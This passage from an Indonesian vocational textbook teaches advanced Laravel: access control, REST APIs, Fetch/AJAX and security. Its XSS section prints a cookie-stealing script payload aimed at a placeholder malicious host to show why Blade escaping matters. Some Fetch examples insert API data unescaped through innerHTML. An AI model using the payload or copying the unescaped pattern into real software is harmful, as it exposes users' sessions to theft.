BUKU BAHAN AJAR SISWA

PEMROGRAMAN WEB LANJUTAN

Program Keahlian Teknik Jaringan Komputer dan Telekomunikasi (TJKT)

REST API • Keamanan Aplikasi • Testing • Deployment • CI/CD • Vibecoding • Kesiapan Kerja

Disusun Berdasarkan Capaian Pembelajaran Kurikulum Merdeka SMK

Untuk Jenjang Kelas XII SMK

Yusuf Burhani, S.Pd., S.Kom

Kata Pengantar

Buku ini disusun sebagai bahan ajar bagi peserta didik mata pelajaran Pemrograman Web Lanjutan pada Program Keahlian Teknik Jaringan Komputer dan Telekomunikasi (TJKT) di Sekolah Menengah Kejuruan kelas XII. Buku ini merupakan penutup dari rangkaian tiga buku Pemrograman Web — dimulai dari logika pemrograman dan dasar web di kelas X, dilanjutkan dengan framework Laravel dan pola MVC di kelas XI, dan disempurnakan menjadi kompetensi aplikasi siap produksi pada buku ini.

Materi dalam buku ini menyempurnakan aplikasi CRUD yang telah dibangun pada kelas XI dari berbagai sisi: otorisasi berjenjang (role-based access control), REST API dan konsumsinya melalui JavaScript, audit keamanan aplikasi (XSS, CSRF, mass assignment), penanganan berkas, proses latar belakang dan email, pengujian otomatis, deployment ke server produksi, integrasi istimewa dengan kompetensi jaringan melalui dashboard monitoring, hingga pengenalan Continuous Integration/Continuous Deployment (CI/CD).

Buku ini juga menutup pembahasan vibecoding pada level tertinggi — AI sebagai bagian dari siklus pengembangan profesional, digunakan untuk membantu testing, security review, dan dokumentasi, dengan penekanan kuat pada etika dan tanggung jawab profesional. Bab-bab terakhir membekali peserta didik dengan kemampuan menyusun portofolio dan menghadapi wawancara kerja, memuncak pada proyek capstone yang mengintegrasikan seluruh kompetensi tiga jenjang pembelajaran menjadi bukti nyata kesiapan kerja.

Semoga buku ini menjadi penutup yang kuat bagi perjalanan belajar Pemrograman Web peserta didik, membekali mereka dengan kepercayaan diri dan kompetensi nyata untuk memasuki dunia kerja sebagai junior web developer, atau melanjutkan pendidikan di bidang informatika dengan fondasi yang telah teruji melalui praktik langsung.

Penyusun

Daftar Isi

Peta Kompetensi Buku

Tabel berikut memetakan setiap bab terhadap dimensi penyempurnaan aplikasi yang dibangun dalam buku ini.

Bab	Judul	Dimensi Penyempurnaan
1	Pendahuluan	Orientasi aplikasi siap produksi
2	Middleware dan Role-Based Access Control	Otorisasi
3	Membangun REST API dengan Laravel	Konektivitas
4	Mengonsumsi API dengan Fetch dan AJAX	Konektivitas
5	Keamanan Aplikasi Laravel	Keamanan
6	File Upload dan Storage	Keamanan & Fungsionalitas
7	Queue, Job, dan Email Dasar	Keandalan Operasional
8	Testing Dasar dengan PHPUnit dan Pest	Keandalan Operasional
9	Deployment Laravel ke Ubuntu Server	Keandalan Operasional
10	Integrasi dengan Kompetensi Jaringan	Ciri Khas TJKT
11	Pengenalan CI/CD Sangat Dasar	Keandalan Operasional
12	Vibecoding Tingkat Lanjut	Profesionalisme
13	Portofolio dan Kesiapan Kerja	Kesiapan Kerja
14	Proyek Akhir/Capstone	Integrasi Penuh
15	Rangkuman dan Evaluasi Akhir	Konsolidasi

BAB 1 — Pendahuluan: Dari Aplikasi CRUD Menuju Aplikasi Siap Produksi

Pemrograman Web Lanjutan Kelas XII melanjutkan langsung kompetensi yang telah dibangun pada buku Kelas XI: instalasi Laravel, pola MVC, CRUD penuh, autentikasi dengan Breeze, relasi antar tabel, styling Bootstrap, dan version control Git. Jika buku Kelas XI berfokus pada bagaimana membangun aplikasi yang **berfungsi** dengan struktur yang rapi, buku ini berfokus pada bagaimana membuat aplikasi tersebut **siap digunakan secara nyata** — aman dari serangan umum, dapat diakses aplikasi lain melalui API, dapat diuji secara otomatis, dan dapat diterbitkan ke server produksi sungguhan.

Buku ini juga menjadi jembatan terakhir menuju dunia kerja: peserta didik akan mempelajari cara membangun portofolio profesional dan mempersiapkan diri menghadapi proses rekrutmen di industri teknologi informasi, menutup keseluruhan rangkaian tiga buku Pemrograman Web (Dasar kelas X, Lanjutan kelas XI, dan Lanjutan kelas XII ini) dengan kompetensi yang relevan langsung dengan kebutuhan kerja seorang junior web developer.

Tujuan Pembelajaran

- Peserta didik memahami kedudukan buku ini sebagai penyempurnaan aplikasi CRUD menuju standar aplikasi produksi.
- Peserta didik memahami gambaran umum sembilan bagian materi yang akan dipelajari.
- Peserta didik memahami pentingnya melanjutkan (bukan memulai ulang) proyek dari kelas XI sebagai bahan latihan sepanjang buku ini.

1.1 Apa yang Membedakan Aplikasi 'Berfungsi' dengan Aplikasi 'Siap Produksi'?

Sebuah aplikasi CRUD yang berjalan lancar di komputer sendiri (localhost) sesungguhnya baru menyelesaikan sebagian kecil dari apa yang dibutuhkan sebuah aplikasi produksi sungguhan. Aplikasi yang siap digunakan secara nyata perlu tahan terhadap percobaan penyalahgunaan (bukan hanya penggunaan normal yang telah diuji), dapat diakses oleh sistem lain (misalnya aplikasi mobile yang dikembangkan tim lain), teruji secara otomatis agar perubahan kode baru tidak merusak fitur yang sudah ada, dan dapat diakses publik melalui internet dengan aman.

Aspek	Kelas XI (Berfungsi)	Kelas XII (Siap Produksi)
Akses Data	Melalui halaman Blade saja	Juga tersedia melalui REST API untuk aplikasi lain
Keamanan	Validasi dasar, CSRF bawaan Laravel	Audit menyeluruh: XSS, mass assignment, otorisasi berjenjang
Pengguna	Semua pengguna login memiliki akses sama	Role-based access control (admin vs pengguna biasa)

Aspek	Kelas XI (Berfungsi)	Kelas XII (Siap Produksi)
Pengujian	Diuji manual dengan mengklik-klik aplikasi	Automated testing (PHPUnit/Pest)
Lingkungan	Berjalan di localhost	Diterbitkan (deploy) ke server produksi sungguhan

1.2 Gambaran Umum Materi

Bab	Topik	Fokus
2	Middleware & Role-Based Access Control	Membedakan hak akses admin dan pengguna biasa
3	Membangun REST API dengan Laravel	Data dapat diakses sistem lain dalam format JSON
4	Mengonsumsi API (Fetch/AJAX)	Frontend dinamis tanpa reload halaman
5	Keamanan Aplikasi Laravel	Audit XSS, CSRF, mass assignment, SQL Injection
6	File Upload & Storage	Mengunggah dan menyimpan berkas dengan aman
7	Queue, Job, dan Email Dasar	Proses latar belakang dan notifikasi otomatis
8	Testing Dasar	Pengujian otomatis dengan PHPUnit/Pest
9	Deployment Laravel ke Ubuntu Server	Menerbitkan aplikasi Laravel ke server produksi
10	Integrasi dengan Kompetensi Jaringan	Dashboard monitoring jaringan berbasis Laravel
11	Pengenalan CI/CD Sangat Dasar	Otomatisasi deployment melalui GitHub Actions
12	Vibecoding Tingkat Lanjut	AI dalam siklus pengembangan profesional
13	Portofolio & Kesiapan Kerja	Membangun portofolio dan simulasi wawancara teknis
14	Proyek Akhir/Capstone	Integrasi penuh seluruh kompetensi tiga jenjang

1.3 Melanjutkan, Bukan Memulai Ulang

Sebagaimana disarankan pada Lampiran buku Kelas XI, peserta didik sangat dianjurkan melanjutkan proyek yang telah dibangun pada proyek akhir semester kelas XI (Bab 14 buku sebelumnya) sebagai bahan latihan sepanjang buku ini, alih-alih memulai proyek baru dari nol. Pendekatan ini mencerminkan kenyataan dunia kerja sesungguhnya, di mana aplikasi jarang dibangun ulang dari awal, melainkan terus dikembangkan dan disempurnakan secara bertahap dari waktu ke waktu — sebuah konsep yang dikenal sebagai **iterative development**.

Bagi peserta didik yang belum memiliki proyek dari kelas XI (misalnya siswa pindahan), sebuah proyek CRUD sederhana dengan minimal dua entitas berelasi dan autentikasi Breeze perlu dibangun terlebih dahulu mengikuti pola Bab 1–9 buku Kelas XI sebagai prasyarat sebelum mengikuti materi buku ini secara efektif.

Rangkuman

Buku Pemrograman Web Lanjutan Kelas XII menyempurnakan aplikasi CRUD yang telah dibangun pada kelas XI menjadi aplikasi yang siap digunakan secara nyata, mencakup sembilan bagian utama: otorisasi berjenjang, REST API, konsumsi API, keamanan aplikasi, file upload, proses latar belakang, testing otomatis, deployment produksi, integrasi dengan kompetensi jaringan, CI/CD dasar, vibecoding profesional, dan kesiapan kerja. Peserta didik disarankan melanjutkan proyek dari kelas XI sebagai bahan praktik utama sepanjang buku ini.

BAB 2 — Middleware dan Role-Based Access Control

Tujuan Pembelajaran

- Peserta didik mampu menjelaskan konsep otorisasi dan perbedaannya dengan autentikasi.
- Peserta didik mampu membuat middleware kustom untuk membatasi akses berdasarkan peran (role) pengguna.
- Peserta didik mampu menerapkan Laravel Gate dan Policy untuk otorisasi tingkat lanjut.

2.1 Autentikasi vs Otorisasi: Dua Hal yang Sering Tertukar

Bab 9 buku Kelas XI membahas **autentikasi** — proses memverifikasi identitas pengguna (siapa Anda?) melalui login menggunakan Laravel Breeze. **Otorisasi** adalah konsep berbeda yang menentukan apa yang boleh dilakukan pengguna tersebut setelah identitasnya terverifikasi (apa yang boleh Anda lakukan?). Sebuah aplikasi sekolah misalnya perlu membedakan: siswa yang login hanya boleh melihat nilainya sendiri, sementara guru yang login boleh mengubah nilai seluruh siswa di kelas yang diampunya, dan admin boleh mengelola seluruh data termasuk membuat akun pengguna baru.

2.2 Menambahkan Kolom Role pada Tabel Users

```
# Membuat migration untuk menambahkan kolom role pada tabel users bawaan Breeze
php artisan make:migration add_role_to_users_table

<?php
Schema::table('users', function (Blueprint $table) {
    $table->string('role')->default('user'); // nilai: 'admin' atau 'user'
});
```

Pendekatan sederhana ini — menyimpan role sebagai kolom string pada tabel users — cukup memadai untuk aplikasi berskala kecil-menengah seperti proyek sekolah. Aplikasi berskala besar dengan kebutuhan hak akses yang lebih kompleks (misalnya satu pengguna memiliki banyak peran sekaligus) umumnya menggunakan paket tambahan seperti Spatie Laravel-Permission, yang berada di luar cakupan buku ini namun dapat dieksplorasi lebih lanjut oleh peserta didik yang berminat.

2.3 Membuat Middleware Kustom

```
# Membuat middleware baru
php artisan make:middleware CheckAdmin

<?php
// app/Http/Middleware/CheckAdmin.php
namespace App\Http\Middleware;

use Closure;
use Illuminate\Http\Request;

class CheckAdmin
{
    public function handle(Request $request, Closure $next)
```

```
    {
        if (auth()->check() && auth()->user()->role === 'admin') {
            return $next($request); // izinkan permintaan diteruskan
        }

        abort(403, 'Akses ditolak. Halaman ini khusus untuk admin.');
    }
}
```

```
<?php
// bootstrap/app.php (Laravel 11) atau app/Http/Kernel.php (Laravel 10 ke bawah)
// Mendaftarkan alias middleware
$middleware->alias([
    'admin' => \App\Http\Middleware\CheckAdmin::class,
]);
```

```
<?php
// routes/web.php - menerapkan middleware admin pada rute tertentu
Route::middleware(['auth', 'admin'])->group(function () {
    Route::resource('pengguna', PenggunaController::class);
});
```

Middleware `CheckAdmin` bekerja seperti sebuah 'penjaga pintu' yang telah diperkenalkan konsepnya melalui middleware `auth` pada Bab 9 buku Kelas XI — kini peserta didik membuat penjaga pintu versi kustom sendiri, memeriksa syarat tambahan (role) di luar sekadar status login.

2.4 Otorisasi Level Objek dengan Laravel Policy

Middleware cocok untuk otorisasi tingkat halaman (siapa boleh mengakses halaman ini), namun beberapa kasus memerlukan otorisasi lebih spesifik pada level data individual — misalnya seorang siswa hanya boleh mengedit profilnya sendiri, bukan profil siswa lain. Laravel **Policy** dirancang khusus untuk kebutuhan otorisasi berbasis objek semacam ini.

```
# Membuat policy untuk Model Siswa
php artisan make:policy SiswaPolicy --model=Siswa
```

```
<?php
// app/Policies/SiswaPolicy.php
class SiswaPolicy
{
    public function update(User $user, Siswa $siswa)
    {
        // admin boleh mengedit siapa saja, siswa hanya boleh mengedit data miliknya
sendiri
        return $user->role === 'admin' || $user->id === $siswa->user_id;
    }
}
```

```
<?php
// Pada Controller, memeriksa otorisasi menggunakan policy
public function edit(Siswa $siswa)
{
    $this->authorize('update', $siswa); // otomatis error 403 jika tidak diizinkan
```

```
    return view('siswa.edit', compact('siswa'));
}

{{-- Pada Blade view, menyembunyikan tombol edit jika tidak berwenang --}}
@can('update', $siswa)
    <a href="{{ route('siswa.edit', $siswa->id) }}" class="btn btn-warning">Edit</a>
@endcan
```

Directive `@can` pada Blade memastikan tombol aksi yang tidak relevan bagi pengguna tidak ditampilkan sama sekali, sebuah praktik antarmuka yang baik — pengguna tidak hanya dicegah melakukan aksi terlarang di sisi server, tetapi juga tidak dibingungkan dengan tombol yang ternyata tidak dapat mereka gunakan.

Aktivitas Pembelajaran

1. Peserta didik menambahkan kolom role pada tabel users proyek mereka, membuat minimal satu akun admin dan satu akun pengguna biasa melalui Tinker atau seeder.
2. Peserta didik membuat middleware CheckAdmin dan menerapkannya pada rute pengelolaan data master (misalnya menambah/menghapus kelas), menguji bahwa pengguna biasa mendapat error 403 saat mencoba mengakses rute tersebut.
3. Peserta didik membuat Policy untuk salah satu Model utama pada proyek mereka, menerapkan otorisasi level objek pada Controller dan menyembunyikan tombol aksi menggunakan @can pada Blade.

Rangkuman

Otorisasi menentukan apa yang boleh dilakukan pengguna setelah identitasnya terverifikasi melalui autentikasi, berbeda dari autentikasi itu sendiri. Middleware kustom seperti CheckAdmin membatasi akses tingkat halaman berdasarkan role pengguna, sementara Laravel Policy menyediakan otorisasi level objek yang lebih presisi, digunakan melalui authorize() pada Controller dan directive @can pada Blade. Kompetensi ini melengkapi sistem autentikasi dasar dari Bab 9 buku Kelas XI menjadi sistem akses yang benar-benar berjenjang.

Soal Latihan / Refleksi

4. Jelaskan perbedaan antara autentikasi dan otorisasi beserta contoh masing-masing.
5. Jelaskan alur kerja middleware CheckAdmin dari permintaan masuk hingga diteruskan atau ditolak.
6. Kapan sebaiknya menggunakan middleware dibanding Policy untuk kebutuhan otorisasi?
7. Jelaskan fungsi directive @can pada Blade dan manfaatnya bagi pengalaman pengguna.

BAB 3 — Membangun REST API dengan Laravel

Tujuan Pembelajaran

- Peserta didik mampu menjelaskan konsep REST API dan perbedaannya dengan aplikasi berbasis Blade.
- Peserta didik mampu membangun endpoint API menggunakan Laravel API Resource.
- Peserta didik mampu menerapkan autentikasi API menggunakan Laravel Sanctum.

3.1 Apa Itu REST API dan Mengapa Dibutuhkan?

Seluruh aplikasi yang dibangun sepanjang buku Kelas XI menggunakan Blade — server merender tampilan HTML lengkap dan mengirimkannya ke browser. Application Programming Interface (API) menyediakan cara berbeda: server hanya mengirimkan **data** (umumnya dalam format JSON), tanpa tampilan sama sekali, memungkinkan data tersebut dikonsumsi oleh berbagai jenis klien — aplikasi web menggunakan JavaScript (Bab 4), aplikasi mobile Android/iOS, atau bahkan sistem lain milik pihak ketiga.

Representational State Transfer (REST) adalah gaya arsitektur yang mengatur bagaimana API sebaiknya dirancang — menggunakan URL yang merepresentasikan sumber daya (resource) dan HTTP verb yang telah dipelajari pada Bab 4 buku Kelas XI (GET, POST, PUT, DELETE) untuk menentukan aksi yang dilakukan terhadap sumber daya tersebut.

HTTP Verb	Endpoint	Fungsi (setara Resource Controller)
GET	/api/siswa	Menampilkan seluruh data siswa (index)
GET	/api/siswa/5	Menampilkan detail siswa dengan id 5 (show)
POST	/api/siswa	Menambahkan data siswa baru (store)
PUT	/api/siswa/5	Memperbarui data siswa id 5 (update)
DELETE	/api/siswa/5	Menghapus data siswa id 5 (destroy)

3.2 Membuat Rute dan Controller API

```
<?php
// routes/api.php (terpisah dari routes/web.php)
use App\Http\Controllers\Api\SiswaController;
```

```
Route::apiResource('siswa', SiswaController::class);
// Menghasilkan 5 rute (tanpa create/edit karena API tidak butuh form HTML)

# Membuat controller API terpisah, umumnya ditempatkan pada namespace tersendiri
php artisan make:controller Api/SiswaController --api

<?php
// app/Http/Controllers/Api/SiswaController.php
namespace App\Http\Controllers\Api;

use App\Http\Controllers\Controller;
use App\Models\Siswa;
use Illuminate\Http\Request;

class SiswaController extends Controller
{
    public function index() {
        return response()->json(Siswa::with('kelas')->get());
    }

    public function store(Request $request) {
        $validated = $request->validate([
            'nama'  => 'required|string|max:100',
            'kelas_id' => 'required|exists:kelas,id',
            'nilai' => 'required|integer|min:0|max:100',
        ]);
        $siswa = Siswa::create($validated);
        return response()->json($siswa, 201); // 201 = Created
    }

    public function show(Siswa $siswa) {
        return response()->json($siswa->load('kelas'));
    }

    public function update(Request $request, Siswa $siswa) {
        $siswa->update($request->only(['nama', 'kelas_id', 'nilai']));
        return response()->json($siswa);
    }

    public function destroy(Siswa $siswa) {
        $siswa->delete();
        return response()->json(null, 204); // 204 = No Content
    }
}
```

Perhatikan kesamaan struktur dengan SiswaController berbasis Blade pada Bab 7 buku Kelas XI — pola CRUD dan penggunaan Eloquent tetap sama persis, hanya jenis response yang berubah dari `view()` menjadi `response()->json()`, sebuah bukti nyata bagaimana pemahaman MVC yang kokoh memudahkan adaptasi ke kebutuhan arsitektur berbeda.

3.3 Merapikan Response dengan API Resource

Mengembalikan objek Eloquent secara langsung sebagai JSON (seperti contoh di atas) berisiko membocorkan kolom yang seharusnya tidak perlu ditampilkan ke publik (misalnya timestamp internal atau relasi yang tidak relevan). **API Resource** memberikan kontrol penuh atas struktur JSON yang dikembalikan.

```
# Membuat API Resource untuk Model Siswa
php artisan make:resource SiswaResource

<?php
// app/Http/Resources/SiswaResource.php
class SiswaResource extends JsonResource
{
    public function toArray($request)
    {
        return [
            'id' => $this->id,
            'nama' => $this->nama,
            'nilai' => $this->nilai,
            'kelas' => $this->kelas->nama_kelas, // menyederhanakan relasi menjadi
satu nilai
        ];
    }
}

<?php
// Digunakan pada Controller
public function index() {
    return SiswaResource::collection(Siswa::with('kelas')->get());
}

public function show(Siswa $siswa) {
    return new SiswaResource($siswa->load('kelas'));
}
```

3.4 Mengamankan API dengan Laravel Sanctum

API yang dapat diakses tanpa autentikasi berisiko disalahgunakan siapa pun. Laravel **Sanctum** menyediakan sistem autentikasi berbasis token untuk API — klien mengirimkan token unik pada setiap permintaan sebagai bukti identitas, menggantikan konsep session yang digunakan pada aplikasi berbasis Blade.

```
# Instalasi Sanctum (umumnya sudah tersedia pada instalasi Laravel modern)
composer require laravel/sanctum
php artisan vendor:publish --provider="Laravel\Sanctum\SanctumServiceProvider"
php artisan migrate

<?php
// Endpoint untuk menghasilkan token setelah login berhasil
public function login(Request $request)
{
    $request->validate(['email' => 'required|email', 'password' => 'required']);

    $user = User::where('email', $request->email)->first();

    if (!$user || !Hash::check($request->password, $user->password)) {
        return response()->json(['message' => 'Kredensial tidak valid'], 401);
```

```
    }

    $token = $user->createToken('api-token')->plainTextToken;
    return response()->json(['token' => $token]);
}

<?php
// Melindungi rute API menggunakan Sanctum
Route::middleware('auth:sanctum')->group(function () {
    Route::apiResource('siswa', SiswaController::class);
});
```

Klien yang telah menerima token wajib menyertakannya pada header `Authorization: Bearer {token}` di setiap permintaan berikutnya ke endpoint yang dilindungi — sebuah mekanisme yang akan dipraktikkan langsung saat mengonsumsi API menggunakan JavaScript pada bab berikutnya.

3.5 Membatasi Permintaan dengan Rate Limiting

API publik yang tidak dibatasi jumlah permintaannya rentan disalahgunakan — baik melalui penyalahgunaan yang disengaja (serangan brute force pada endpoint login) maupun ketidaksengajaan (klien yang mengirim permintaan berlebihan karena bug). Laravel menyediakan **rate limiting** bawaan untuk membatasi jumlah permintaan yang diizinkan dalam rentang waktu tertentu.

```
<?php
// routes/api.php
Route::middleware(['throttle:60,1'])->group(function () {
    // maksimal 60 permintaan per 1 menit untuk seluruh rute dalam grup ini
    Route::apiResource('siswa', SiswaController::class);
});
```

Ketika batas terlampaui, Laravel otomatis mengembalikan response dengan kode status 429 (Too Many Requests), melindungi server dari kelebihan beban sekaligus menjadi lapisan pertahanan tambahan terhadap percobaan serangan brute force pada endpoint login API yang telah dibangun pada subbab sebelumnya.

Aktivitas Pembelajaran

8. Peserta didik membangun endpoint API untuk salah satu Model utama proyek mereka (mengikuti pola SiswaController pada bab ini), menguji seluruh endpoint (GET, POST, PUT, DELETE) menggunakan Postman atau Thunder Client.
9. Peserta didik membuat API Resource untuk merapikan struktur JSON response, membandingkan hasilnya dengan response mentah Eloquent sebelumnya.
10. Peserta didik mengimplementasikan Sanctum, membuat endpoint login API yang menghasilkan token, dan menguji akses ke endpoint terlindungi menggunakan token tersebut pada Postman.

Rangkuman

REST API memungkinkan data aplikasi diakses oleh berbagai jenis klien melalui HTTP verb standar dan response JSON, dibangun menggunakan Route::apiResource() dan Controller yang strukturnya mirip

Controller berbasis Blade namun mengembalikan response()->json(). API Resource merapikan struktur JSON yang dikembalikan, sementara Laravel Sanctum menyediakan autentikasi berbasis token untuk mengamankan endpoint API. Kompetensi ini menjadi fondasi sebelum mempelajari cara mengonsumsi API tersebut dari sisi frontend pada bab berikutnya.

Soal Latihan / Refleksi

11. Jelaskan perbedaan mendasar antara aplikasi berbasis Blade dan aplikasi berbasis REST API.
12. Tuliskan lima endpoint REST standar untuk sebuah resource bernama 'produk' beserta HTTP verb dan fungsinya.
13. Apa manfaat menggunakan API Resource dibanding mengembalikan objek Eloquent secara langsung sebagai JSON?
14. Jelaskan alur autentikasi API menggunakan Laravel Sanctum dari proses login hingga mengakses endpoint terlindungi.

BAB 4 — Mengonsumsi API dengan Fetch dan AJAX

Tujuan Pembelajaran

- Peserta didik mampu menggunakan Fetch API JavaScript untuk mengambil dan mengirim data ke REST API.
- Peserta didik mampu memperbarui tampilan halaman secara dinamis berdasarkan data API tanpa reload.
- Peserta didik mampu menangani autentikasi token pada permintaan Fetch.

4.1 Dari DOM Manipulation Menuju Konsumsi Data Dinamis

Bab 10 buku Pemrograman Web Dasar kelas X telah memperkenalkan manipulasi DOM dan event handling menggunakan JavaScript. Bab ini menyatukan kemampuan tersebut dengan REST API yang telah dibangun pada Bab 3, memungkinkan halaman web mengambil data terbaru dari server dan memperbarui tampilannya secara dinamis **tanpa perlu memuat ulang seluruh halaman** — pola interaksi yang menjadi standar pada aplikasi web modern, dikenal secara luas sebagai AJAX (Asynchronous JavaScript and XML, meskipun kini hampir selalu menggunakan JSON alih-alih XML).

4.2 Mengambil Data dengan Fetch API

```
// Mengambil daftar siswa dari API dan menampilkannya pada halaman
fetch('/api/siswa')
  .then(response => response.json())
  .then(data => {
    let html = '';
    data.forEach(siswa => {
      html += `<tr>
        <td>${siswa.nama}</td>
        <td>${siswa.kelas}</td>
        <td>${siswa.nilai}</td>
      </tr>`;
    });
    document.getElementById('tabel-siswa').innerHTML = html;
  })
  .catch(error => console.error('Gagal mengambil data:', error));
```

Fungsi `fetch()` mengirim permintaan HTTP secara asynchronous (tidak memblokir eksekusi kode lain sambil menunggu respons server), dan method `.then()` menjalankan kode lanjutan setelah respons diterima — sebuah pola yang berbeda dari pemrograman sekuensial biasa yang telah dipelajari sejak Bab 2 buku Pemrograman Web Dasar, karena waktu respons server tidak dapat diprediksi sebelumnya.

4.3 Mengirim Data dengan Fetch (POST)

```
document.getElementById('form-tambah-siswa').addEventListener('submit', function(e)
{
  e.preventDefault(); // mencegah reload halaman, sebagaimana dipelajari pada Bab 11
buku Kelas XI
```

```
  const data = {
    nama: document.getElementById('nama').value,
    kelas_id: document.getElementById('kelas_id').value,
    nilai: document.getElementById('nilai').value
  };

  fetch('/api/siswa', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Authorization': 'Bearer ' + localStorage.getItem('token')
    },
    body: JSON.stringify(data)
  })
  .then(response => response.json())
  .then(hasil => {
    alert('Data berhasil ditambahkan!');
    document.getElementById('form-tambah-siswa').reset();
    muatUlangDaftarSiswa(); // fungsi untuk memuat ulang tabel tanpa refresh halaman
  })
  .catch(error => console.error('Gagal menyimpan data:', error));
});
```

Header `Authorization: Bearer` menyertakan token Sanctum yang diperoleh saat login (Bab 3), disimpan sementara pada `localStorage` browser agar dapat digunakan kembali pada permintaan-permintaan berikutnya tanpa perlu login ulang setiap kali halaman dimuat.

4.4 Menangani Error dan Status Response

```
fetch('/api/siswa', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify(data)
})
.then(response => {
  if (!response.ok) {
    // response.ok bernilai false untuk status 4xx/5xx
    return response.json().then(err => { throw err; });
  }
  return response.json();
})
.then(hasil => {
  console.log('Berhasil:', hasil);
})
.catch(error => {
  if (error.errors) {
    // menampilkan pesan validasi dari Laravel (mengingat kembali Bab 8 buku Kelas
XI)
    Object.values(error.errors).forEach(pesan => alert(pesan[0]));
  } else {
    alert('Terjadi kesalahan. Silakan coba lagi.');
  }
});
```

Penanganan error yang baik pada konsumsi API mencerminkan prinsip yang sama dengan validasi form pada Bab 8 buku Kelas XI — pesan kesalahan yang jelas dan spesifik membantu pengguna memahami apa yang perlu diperbaiki, jauh lebih baik dibanding sekadar menampilkan 'terjadi kesalahan' tanpa detail.

4.5 Studi Kasus: Dashboard Dinamis dengan Pencarian Real-Time

```
document.getElementById('input-cari').addEventListener('input', function() {
  const kataKunci = this.value;

  fetch('/api/siswa?cari=' + encodeURIComponent(kataKunci))
    .then(response => response.json())
    .then(data => {
      const tabel = document.getElementById('tabel-siswa');
      tabel.innerHTML = data.map(siswa =>
        `<tr><td>${siswa.nama}</td><td>${siswa.kelas}</td></tr>`
      ).join('');
    });
});

// Pada SiswaController API, endpoint index() disesuaikan menangani parameter
pencarian:
// $query = Siswa::query();
// if ($request->has('cari')) {
//     $query->where('nama', 'like', '%' . $request->cari . '%');
// }
// return SiswaResource::collection($query->get());
```

Event `input` (berbeda dari `submit` yang dipelajari pada Bab 8 buku Pemrograman Web Dasar) terpicu setiap kali pengguna mengetik satu karakter, menciptakan pengalaman pencarian instan (real-time search) yang umum ditemui pada aplikasi web modern — sebuah contoh nyata bagaimana kombinasi struktur kontrol JavaScript, event handling, dan REST API menghasilkan interaktivitas yang jauh melampaui aplikasi statis yang dibangun pada awal pembelajaran di kelas X.

Aktivitas Pembelajaran

15. Peserta didik membuat halaman HTML sederhana yang mengambil data dari endpoint API yang telah dibangun pada Bab 3, menampilkannya dalam bentuk tabel tanpa menggunakan Blade sama sekali.
16. Peserta didik menambahkan form yang mengirim data baru ke API menggunakan Fetch dengan method POST, memperbarui tabel secara otomatis setelah data berhasil disimpan tanpa reload halaman.
17. Peserta didik mengimplementasikan fitur pencarian real-time seperti pada studi kasus bab ini, menyesuaikan endpoint API agar mendukung parameter pencarian.

Rangkuman

Fetch API memungkinkan JavaScript mengambil dan mengirim data ke REST API secara asynchronous, memperbarui tampilan halaman secara dinamis tanpa reload penuh. Permintaan yang memerlukan autentikasi menyertakan token Sanctum pada header Authorization, sementara penanganan error yang

baik menampilkan pesan validasi Laravel secara spesifik kepada pengguna. Kompetensi ini menyatukan pemahaman JavaScript dari kelas X dengan REST API dari Bab 3, menghasilkan pengalaman pengguna yang jauh lebih responsif seperti dicontohkan pada studi kasus pencarian real-time.

Soal Latihan / Refleksi

18. Jelaskan perbedaan antara memuat data menggunakan Blade view (kelas XI) dengan menggunakan Fetch API (bab ini).
19. Tuliskan kode Fetch API untuk mengirim data baru ke endpoint /api/produk menggunakan method POST.
20. Mengapa token autentikasi perlu disertakan pada header Authorization saat mengakses endpoint API yang dilindungi?
21. Jelaskan bagaimana event input dapat dimanfaatkan untuk membuat fitur pencarian real-time.

BAB 5 — Keamanan Aplikasi Laravel

Tujuan Pembelajaran

- Peserta didik mampu menjelaskan dan mencegah serangan XSS pada aplikasi Laravel.
- Peserta didik mampu menjelaskan mekanisme perlindungan CSRF bawaan Laravel.
- Peserta didik mampu mencegah kerentanan mass assignment dan melakukan audit keamanan dasar pada aplikasi yang telah dibangun.

5.1 Menghubungkan Kembali dengan Buku Keamanan Jaringan

Buku Keamanan Jaringan (Kelas XI–XII) telah membahas SQL Injection secara mendalam pada konteks basis data umum. Bab ini melanjutkan pembahasan keamanan tersebut secara spesifik dalam konteks aplikasi Laravel, mencakup tiga kerentanan tambahan yang sangat umum menyerang aplikasi web: Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), dan Mass Assignment. Sebagian mekanisme perlindungan terhadap kerentanan ini sesungguhnya telah digunakan sejak awal buku Kelas XI tanpa dijelaskan secara eksplisit — bab ini mengungkap 'apa yang terjadi di balik layar' dari mekanisme tersebut.

5.2 Cross-Site Scripting (XSS) dan Perlindungan Otomatis Blade

XSS adalah serangan di mana penyerang menyisipkan kode JavaScript berbahaya ke dalam input yang kemudian ditampilkan kepada pengguna lain tanpa disaring terlebih dahulu, memungkinkan penyerang mencuri data sesi, mengarahkan pengguna ke situs berbahaya, atau memanipulasi tampilan halaman.

```
// Contoh input berbahaya yang dimasukkan penyerang pada form komentar:
<script>alert('Data Anda telah dicuri!'); document.location='http://situs-
jahat.com/curi?cookie='+document.cookie;</script>

// Jika ditampilkan tanpa perlindungan, kode ini akan dieksekusi oleh browser
pengunjung lain

{{-- AMAN - sintaks {{ }} pada Blade otomatis melakukan escaping --}}
<p>{{ $komentar->isi }}</p>
{{-- Output HTML: &lt;script&gt;alert('...')&lt;/script&gt; - ditampilkan sebagai
teks biasa, bukan dieksekusi --}}

{{-- BERBAHAYA - {!! !!} menonaktifkan proteksi, hanya gunakan untuk konten
tepercaya --}}
<p>{!! $komentar->isi !!}</p>
```

Sintaks `{{ }}` yang telah digunakan sejak Bab 5 buku Kelas XI ternyata bukan sekadar cara ringkas menampilkan data, melainkan lapisan pertahanan otomatis terhadap XSS. Sintaks `{!! !!}` sengaja menonaktifkan proteksi ini dan hanya boleh digunakan untuk konten yang benar-benar tepercaya (misalnya konten dari editor teks kaya/rich text editor yang dikelola admin), tidak pernah untuk input pengguna secara langsung.

5.3 Cross-Site Request Forgery (CSRF) dan Token @csrf

CSRF adalah serangan yang mengecoh pengguna yang sedang login pada sebuah aplikasi agar tanpa sadar mengirimkan permintaan berbahaya, misalnya melalui tautan atau halaman jahat yang secara otomatis mengirim form penghapusan data ke aplikasi sekolah tempat korban sedang login, memanfaatkan sesi login korban yang masih aktif.

```
{{-- Directive @csrf yang telah digunakan sejak Bab 7 buku Kelas XI --}}
<form action="{{ route('siswa.destroy', $siswa->id) }}" method="POST">
    @csrf
    @method('DELETE')
    <button type="submit">Hapus</button>
</form>
